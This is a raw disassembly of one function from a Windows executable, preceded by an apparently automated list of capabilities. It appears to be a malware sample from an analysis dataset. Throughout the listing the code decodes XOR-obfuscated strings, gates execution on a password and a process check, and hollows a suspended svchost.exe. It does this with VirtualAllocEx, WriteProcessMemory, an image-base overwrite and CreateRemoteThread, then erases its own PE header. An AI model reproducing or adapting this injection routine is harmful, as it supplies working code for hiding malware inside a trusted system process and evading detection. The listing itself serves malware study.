Function at 0x140005bb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Enumerate processes
Execute command
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x140015048]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor r12d, r12d
lea rcx, [0x14000e9ec]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x10
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401f48d0], eax
jle 0x140005c41
lea rcx, [0x1401f48d0]
call fcn.14000b588
cmp dword [0x1401f48d0], 0xffffffff
jne 0x140005c41
lea rcx, [0x14000d050]
call fcn.14000b90c
lea rcx, [0x1401f48d0]
call fcn.14000b528
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs r14, 0x8e92aa09d348f47d
mov qword [rbp + 0x170], r14
movabs rsi, 0x1e737c300f4f2d76
mov qword [rbp + 0x178], rsi
movabs rax, 0x8e92aa09d348f477
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rsi
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], rsi
movabs r13, 0x944ae32f9f1fa6d7
mov qword [rbp + 0x180], r13
movabs r15, 0x9d3e4fee714ff1d8
mov qword [rbp + 0x188], r15
movabs rax, 0xaef7c766b024912a
mov qword [rbp + 0x190], rax
movabs rax, 0x320905033e6f4202
mov qword [rbp + 0x198], rax
movabs rax, 0x944ae32f9f1fa6f7
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], r15
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm1
lea rax, [rbp + 0x190]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140005d45
movabs rax, 0x7fffffffffffffff
mov rdx, qword [0x1401f3ca0]
sub rax, rdx
cmp rax, rcx
jb 0x1400064ed
lea rax, [0x1401f3c90]
cmp qword [0x1401f3ca8], 0x10
cmovae rax, qword [0x1401f3c90]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x190]
lea rcx, [rsp + 0x60]
call fcn.140009940
nop
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x60]
call fcn.140007950
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, rbx
call fcn.140009bb0
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140005e58
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b92c
movdqa xmm0, xmmword [0x14000ece0]
movdqu xmmword [rbp + 0x160], xmm0
mov byte [rbp + 0x150], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140005eaf
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005eaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005eaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b92c
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x168], r15
movabs rax, 0xedb2de6ab6229a34
mov qword [rbp + 0x190], rax
movabs rax, 0x675b5c0f7b2e481e
mov qword [rbp + 0x198], rax
movabs rax, 0x944ae30fa536c8f8
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], r15
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
pxor xmm1, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x1a0], xmm1
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400083e0
lea rbx, [0x1401f3cf0]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400085f0
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], rsi
movabs rax, 0x8e92aa09d348f404
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rsi
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
lea rax, [rbp + 0x140]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140005fa3
cmp qword [0x1401f3d08], 0x10
cmovae rbx, qword [0x1401f3cf0]
mov r8, qword [0x1401f3d00]
cmp r8, rdi
jne 0x14000648d
lea rdx, [rbp + 0x140]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000648d
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], rsi
movabs rax, 0x8ef7d26cfd7a871e
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rsi
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
mov ebx, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140006077
mov dword [rbp + 0x10], 0x130
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140006077
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140006074
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x14000604c
mov ebx, dword [rbp + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140006173
lea r8, [0x1401f4840]
cmp qword [0x1401f4858], 0x10
cmovae r8, qword [0x1401f4840]
mov qword [rbp + 0x190], r14
mov qword [rbp + 0x198], rsi
mov qword [rbp + 0x1a0], r13
mov qword [rbp + 0x1a8], r15
movabs rdx, 0xd10b53bdc22484c1
mov qword [rbp + 0x1b0], rdx
movabs rcx, 0x12087524a710d3ba
mov qword [rbp + 0x1b8], rcx
movabs rax, 0xedb2c26abd3d9531
mov qword [rsp + 0x60], rax
movabs rax, 0x6c1c1a556d6f1f05
mov qword [rsp + 0x68], rax
movabs rax, 0xfa23874ef07386b2
mov qword [rsp + 0x70], rax
movabs rax, 0xbc4a2e8b192cd1bf
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rdx
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp - 0x80], xmm0
mov r9d, 0x140
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000648d
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], rsi
movabs rax, 0xe0fbde6ab6229a34
mov qword [rbp + 0x170], rax
movabs rax, 0x1e737c3a21610311
mov qword [rbp + 0x178], rax
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400083e0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd r14, dword [0x1400150cc]
mov dword [rbp - 0x60], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
lea rcx, [0x14000e9f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_svchost.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400062a1
lea rdx, str.CreateProcess_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400083e0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400085b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rsp + 0x60]
xor edx, edx
mov rcx, qword [rbp + 0x150]
call rbx
lea r13, [0x140015090]
mov r8d, dword [r14 + r13 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140006332
lea rdx, str.VirtualAllocEx_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400083e0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400085b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x50]
mov r9d, dword [r14 + r13 + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r13
mov rdx, rax
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rax, dword [0x1400150cc]
mov esi, r12d
cmp r12w, word [r14 + r13 + 6]
jae 0x1400063df
lea rbx, [r13 + 0x11c]
add rbx, rax
nop
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r13
mov edx, dword [rbx - 8]
add rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400063cf
lea rdx, str.Failed_to_write_section:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400083e0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400085b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
add rbx, 0x28
inc esi
movzx eax, word [r14 + r13 + 6]
cmp esi, eax
jl 0x140006370
mov rdx, qword [rsp + 0x68]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140006440
lea rdx, str.Failed_to_write_ImgBaseAddress:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400083e0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400085b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, dword [r14 + r13 + 0x28]
add r9, qword [rsp + 0x50]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r12
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rbp - 0x70], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r9, [rbp - 0x70]
mov r8d, 4
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x1000
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14000b3e0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001560
int3